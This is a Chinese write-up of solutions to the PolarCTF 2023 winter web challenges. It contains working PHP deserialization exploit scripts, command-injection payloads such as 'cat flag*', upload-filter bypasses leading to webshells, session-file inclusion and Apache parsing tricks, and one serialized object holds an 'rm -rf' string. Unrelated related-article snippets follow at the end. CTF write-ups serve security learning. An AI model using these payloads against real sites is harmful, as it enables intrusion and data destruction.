PolarCTF网络安全2023冬季个人挑战赛 WEB方向题解 WriteUp

本文主要是介绍PolarCTF网络安全2023冬季个人挑战赛 WEB方向题解 WriteUp,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

完工,最后CB链没时间打了,估计也不怎么打得出来,今天一边在打polar一边弄服务外包赛,好累呜呜呜。

image-20231209211458693

Polar 冬 干正则(WEB)

直接给了源码

image-20231209184906314

parse_str():将字符串解析成多个变量

payload:

?id=a[]=www.polarctf.com&cmd=;cat%20flag*

image-20231209185752708

Polar 冬 upload(WEB)

开题

image-20231209174903231

源码里面发现hint

image-20231209175014438

得到源码如下:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name;        if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

str_ireplace():替换字符串中的一些字符(不区分大小写)。双写即可绕过。

image-20231209175845103

直接getshell就行。

image-20231209175907314

Polar 冬 cookie欺骗(WEB)

伪造一下Cookie就行

image-20231209174732680

Polar 冬 随机值(WEB)

直接给了源码

image-20231209142904368

要满足两个随机值,可以暴力爆破,发包10000次应该够了。我们按题目预期来,使用变量引用来做这题。

PHP7,类型不敏感,类中属性可以全换为public。

image-20231209143127572

秒了。

EXP:

<?php
class Index{public $Polar1;public $Polar2;public $Night;public $Light;function getflag($flag){$Polar2 = rand(0,100);if($this->Polar1 === $this->Polar2){$Light = rand(0,100);if($this->Night === $this->Light){echo $flag;}}else{echo "Your wrong!!!";}}
}$a=new Index();
$a->Polar1=&$a->Polar2;
$a->Night=&$a->Light;echo serialize($a);

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

Polar 冬 你想逃也逃不掉(WEB)

直接给了源码

image-20231209143715123

反序列化之字符串逃逸。

EXP:

<?php
function filter($string){return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = 'phtmlphtmlphtmlphtml';
$user['passwd'] = ';s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}';
$user['sign'] = '123456';
#a:3:{s:8:"username";s:5:"Jay17";s:6:"passwd";s:0:"";s:4:"sign";s:6:"123456";}echo serialize($user);//初始
echo "\n";
echo filter(serialize($user));//过滤字符后$ans = filter(serialize($user));
if(unserialize($ans)[sign] == "ytyyds"){echo "\nJay17";
}

image-20231209153321155

payload:

GET:?passwd=%3Bs%3A6%3A%22passwd%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22sign%22%3Bs%3A6%3A%22ytyyds%22%3B%7DPOST:name=phtmlphtmlphtmlphtml

image-20231209153438639

Polar 冬 ezphp(WEB)

开题,爬虫相关,想到robots.txt文件

image-20231209153811840

访问robots.txt,获得三个路由

image-20231209153904554

/uploads/upload.php:文件上传功能

/file/file.php:文件包含功能

文件包含读取upload.php文件内容:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>File Upload</title>
</head>
<body><?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {// 检查文件是否上传成功if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {// 定义允许上传的文件类型$allowed_extensions = array("jpg", "jpeg", "png", "gif");// 获取上传文件的文件名和扩展名$filename = $_FILES['file']['name'];$file_extension = pathinfo($filename, PATHINFO_EXTENSION);// 检查文件扩展名是否在允许的列表中if (in_array(strtolower($file_extension), $allowed_extensions)) {// 确定存储上传文件的目录$upload_directory = './images/';// 确保目录存在,如果不存在则创建if (!is_dir($upload_directory)) {mkdir($upload_directory, 0777, true);}// 构造上传文件的完整路径$upload_path = $upload_directory . $filename;// 移动文件到指定目录if (move_uploaded_file($_FILES['file']['tmp_name'], $upload_path)) {echo '<p>文件上传成功!</p>';} else {echo '<p>文件上传失败。</p>';}} else {echo '<p>不允许上传该类型的文件。</p>';}} else {echo '<p>文件上传失败。</p>';}
}
?><form action="" method="post" enctype="multipart/form-data"><label for="file">选择文件:</label><input type="file" name="file" id="file" accept=".jpg, .jpeg, .png, .gif" required><br><input type="submit" value="上传文件">
</form></body>
</html>

文件后缀是白名单,难绕过,一般白名单的文件上传都是要结合其他漏洞。有文件包含,那就结合文件包含。

有文件包含,所以后缀不用管,包含文件内容,就算jpg都能把马包含进来。

直接包含

image-20231209195509309

看源码,目录是,/uploads/images/xxx.xxx

/file/file.php 文件包含getshell。

image-20231209195904527

Polar 冬 你的马呢?(WEB)

开题:(注意URL,可能会存在文件包含)

image-20231209131707043

还真存在文件包含

image-20231209131744373

upload.php

<?phpif(isset($_FILES['upfile'])){$uploaddir = 'uploads/';$uploadfile = $uploaddir . basename($_FILES['upfile']['name']);$ext = pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION);//检查文件内容$text = file_get_contents($_FILES['upfile']['tmp_name']);echo $ext;//检查文件后缀if (!preg_match("/ph.|htaccess/i", $ext)){if(preg_match("/<\?php/i", $text)){echo "嘿嘿嘿,想传马?不可能!<br>";}else{move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);echo "恭喜你,上传路径<br>路径为:" . $uploadfile . "<br>";}} else {echo "恶意后缀,试试.jsp呢?<br>";}}
?><!DOCTYPE html>
<html>
<head><title>上传文件</title><meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>千万别上传php脚本!!!!<form action="upload.php" method="POST" enctype="multipart/form-data"><input type="file" name="upfile" value="" /><input type="submit" name="submit" value="提交" /></form>
</body>
</html>

文件上传功能过滤php、htaccess后缀,过滤文件内容<?php。看似山穷水尽,仔细一看发现存在apache解析漏洞。

AddHandler导致的Apache解析漏洞

如果服务器给.php后缀添加了处理器:
AddHandler application/x-httpd-php.php

那么,在有多个后缀的情况下,只要包含.php后缀的文件就会被识别出php文件进行解析,不需要是最后一个后缀。如shell.php.jpg中包含.php,所以解析为php文件

利用:

1、1.php.jpg

2、1.php.txt

影响范围:2.4.0-2.4.29版本

image-20231209195015910

getsgell

image-20231209195033084

Polar 冬 苦海(WEB)【】

反序列化+文件包含,难的是找flag。

image-20231209221749527

链子如下:

User::__wakeup()->User::printName()->Surrender::__toString()->FileRobot::__get()->FileRobot::__invoke()->FileRobot::Get_file()

给个EXP:

删库跑路,蹲监狱~ <?php
/*
PolarD&N CTF
*/
error_reporting(1);class User
{public $name = 'PolarNight';public $flag = 'syst3m("rm -rf ./*");';public function __construct(){echo "删库跑路,蹲监狱~";}public function printName(){echo $this->name;return 'ok';}public function __wakeup(){echo "hi, Welcome to Polar D&N ~ ";$this->printName();}public function __get($cc){echo "give you flag : " . $this->flag;}
}class Surrender
{private $phone = 110;public $promise = '遵纪守法,好公民~';public function __construct(){$this->promise = '苦海无涯,回头是岸!';return $this->promise;}public function __toString(){return $this->file['filename']->content['title'];}
}class FileRobot
{public $filename = 'flag.php';public $path;public function __get($name){$function = $this->path;return $function();}public function Get_file($file){$hint = base64_encode(file_get_contents($file));echo $hint;}public function __invoke(){$content = $this->Get_file($this->filename);echo $content;}
}//User::__wakeup()->User::printName()->Surrender::__toString()->FileRobot::__get()->FileRobot::__invoke()->FileRobot::Get_file()$a=new User();
$a->name=new Surrender();
$a->name->file['filename']=new FileRobot();
$a->name->content['title']='bucunzai';
$a->name->file['filename']->path=new FileRobot();
$a->name->file['filename']->path->filename='../flag.php';echo urlencode(serialize($a));//unserialize(serialize($a));

payload:

?user=O%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A9%3A%22Surrender%22%3A4%3A%7Bs%3A16%3A%22%00Surrender%00phone%22%3Bi%3A110%3Bs%3A7%3A%22promise%22%3Bs%3A30%3A%22%E8%8B%A6%E6%B5%B7%E6%97%A0%E6%B6%AF%EF%BC%8C%E5%9B%9E%E5%A4%B4%E6%98%AF%E5%B2%B8%EF%BC%81%22%3Bs%3A4%3A%22file%22%3Ba%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22path%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A11%3A%22..%2Fflag.php%22%3Bs%3A4%3A%22path%22%3BN%3B%7D%7D%7Ds%3A7%3A%22content%22%3Ba%3A1%3A%7Bs%3A5%3A%22title%22%3Bs%3A8%3A%22bucunzai%22%3B%7D%7Ds%3A4%3A%22flag%22%3Bs%3A21%3A%22syst3m%28%22rm+-rf+.%2F%2A%22%29%3B%22%3B%7D

image-20231209223258448

Polar 冬 safe_include(WEB)

直接给了源码:

image-20231209213312419

open_basedir:限制PHP访问文件的目录(读写),不限制命令执行的目录。

这里开启了session,我们可以使用session文件包含,而且session文件不会被清理。我们可以利用他来getshell。


在PHP中,使用$_SESSION[]可以存储特定用户的Session信息。并且每个用户的Session信息都是不同的。
当用户请求网站中任意一个页面时,若用户未建立Session对象,则服务器会自动为用户创建一个Session对象,它包含唯一的sessionID和其他Session变量,并保存在服务器内存中,不同用户的Session对象存着各自指定的信息。

利用Session变量存储信息:
$_SESSION[“sessionID”]=变量或字符串信息;

读取Session变量信息(可赋值给一个变量或者直接输出):
变量=$_SESSION[“sessionID”];

sessionID可以自己创造一个,比如jayjay。那么session文件名就是/tmp/sess_jayjay,里面存储了sessionID为jayjay的session变量信息。sessionID一般就是Cookie中PHPSESSID的值。当用户在Cookie中设置PHPSESSID=jayjay时,PHP就会生成一个文件/tmp/sess_jayjay,此时也就初始化了session。同时,这时候传参,参数值就自动被写入/tmp/sess_jayjay了。


这里我们可以读取Session变量信息,也可以存储Session变量信息,那我们就可以往里面放🐎,然后包含🐎,getshell。

存马到sess_Jay17文件。

image-20231209221203948

包含sess_Jay17文件也就是包含马,getshell。

image-20231209221251438

Polar 冬 phpurl(WEB)

附件:

在某次渗透测试中,红队使用网站目录探测工具发现网站源码泄漏,该文件名疑似名被加密:aW5kZXgucGhwcw。 

aW5kZXgucGhwcwbase64解码后是index.phps

开题

image-20231209124658870

访问/index.phps路由。直接给了源码

image-20231209124736036

很简单,xxs二次URL编码就行。

image-20231209125259479

注意点:/index.phps只是源码泄露,传参在/路由。

image-20231209125310136

Polar 冬 cool(WEB)

开题,直接给了源码

image-20231209123959352

payload:

?a=echo `cat f*`;

image-20231209124345759

这篇关于PolarCTF网络安全2023冬季个人挑战赛 WEB方向题解 WriteUp的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/476730

相关文章

LeetCode11. 盛最多水的容器题解

LeetCode11. 盛最多水的容器题解 题目链接: https://leetcode.cn/problems/container-with-most-water 示例 思路 暴力解法 定住一个柱子不动,然后用其他柱子与其围住面积,取最大值。 代码如下: public int maxArea1(int[] height) {int n = height.length;int

据阿谱尔APO Research调研显示,2023年全球髓内钉市场销售额约为4.7亿美元

根据阿谱尔 (APO Research)的统计及预测,2023年全球髓内钉市场销售额约为4.7亿美元,预计在2024-2030年预测期内将以超过3.82%的CAGR(年复合增长率)增长。 髓内钉市场是指涉及髓内钉制造、分销和销售的行业。髓内钉是一种用于整形外科手术的医疗器械,用于稳定长骨骨折,特别是股骨、胫骨和肱骨。髓内钉通常由不銹钢或钛等材料制成,并插入骨的髓管中,以在愈合过程中提供结构支

智能客服到个人助理,国内AI大模型如何改变我们的生活?

引言 随着人工智能(AI)技术的高速发展,AI大模型越来越多地出现在我们的日常生活和工作中。国内的AI大模型在过去几年里取得了显著的进展,不少独创的技术点和实际应用令人瞩目。 那么,国内的AI大模型有哪些独创的技术点?它们在实际应用中又有哪些出色表现呢?此外,普通人又该如何利用这些大模型提升工作和生活的质量和效率呢?本文将为你一一解析。 一、国内AI大模型的独创技术点 多模态学习 多

JavaWeb系列二十: jQuery的DOM操作 下

jQuery的DOM操作 CSS-DOM操作多选框案例页面加载完毕触发方法作业布置jQuery获取选中复选框的值jQuery控制checkbox被选中jQuery控制(全选/全不选/反选)jQuery动态添加删除用户 CSS-DOM操作 获取和设置元素的样式属性: css()获取和设置元素透明度: opacity属性获取和设置元素高度, 宽度: height(), widt

企业如何进行员工的网络安全意识培训?

企业网络安全意识培训的重要性         企业网络安全意识培训是提升员工网络安全素质的关键环节。随着网络技术的快速发展,企业面临的网络安全威胁日益增多,员工的网络安全意识和技能水平直接关系到企业的信息安全和业务连续性。因此,企业需要通过系统的网络安全意识培训,提高员工对网络安全的认识和防范能力,从而降低企业在面对潜在安全风险时的损失和影响。 企业网络安全意识培训的方法         企

【网络安全的神秘世界】搭建dvwa靶场

🌝博客主页:泥菩萨 💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具 下载DVWA https://github.com/digininja/DVWA/blob/master/README.zh.md 安装DVWA 安装phpstudy https://editor.csdn.net/md/?articleId=1399043

JavaWeb系列六: 动态WEB开发核心(Servlet) 上

韩老师学生 官网文档为什么会出现Servlet什么是ServletServlet在JavaWeb项目位置Servlet基本使用Servlet开发方式说明快速入门- 手动开发 servlet浏览器请求Servlet UML分析Servlet生命周期GET和POST请求分发处理通过继承HttpServlet开发ServletIDEA配置ServletServlet注意事项和细节 Servlet注

六西格玛培训公司:解锁成功之门,让企业与个人共赴“嗨”途

在竞争激烈的21世纪,六西格玛培训公司手握一把神奇的钥匙,帮助企业及个人轻松开启成功的大门。 对企业来说: 产品质量飞跃:不再是偶尔的精品,而是每个产品都如同精雕细琢的艺术品,吸引无数顾客争相购买。 工作流程优化:六西格玛培训如同精准的剪刀,剪去冗余,让工作流程更加顺畅高效。 客户满意度飙升:深谙客户需求的六西格玛,帮助企业精准把握市场脉搏,让每位客户都感受到宾至如归的满意。 战略转型游刃有

JavaWeb 学习笔记 spring+jdbc整合开发初步

JdbcTemplate类是Spring的核心类之一,可以在org.springframework.jdbc.core中找到它。JdbcTemplate类在内部已经处理数据库的建立和释放,可以避免一些常见的错误。JdbcTemplate类可直接通过数据源的应用实例化,然后在服务中使用,也可在xml配置中作为JavaBean应用给服务使用直接上一个实例步骤1.xml配置 <?xml version

写一个坏越的个人天地(二)

小红书上搜了下博客,感觉好像没有让自己喜欢的。昨天刚好学了点grid布局,来试试 菜单栏直接使用el-menu 下边布局就用grid局部了,这块初步想法是轮播+你的天气和我的天气+自我介绍 天气的话,这边要先找一下有没有天气的api 我这边百度搜了个聚合的api,一天可以免费调用50次,应该是够了吧~要用代理,不然会报cors import axios from 'axios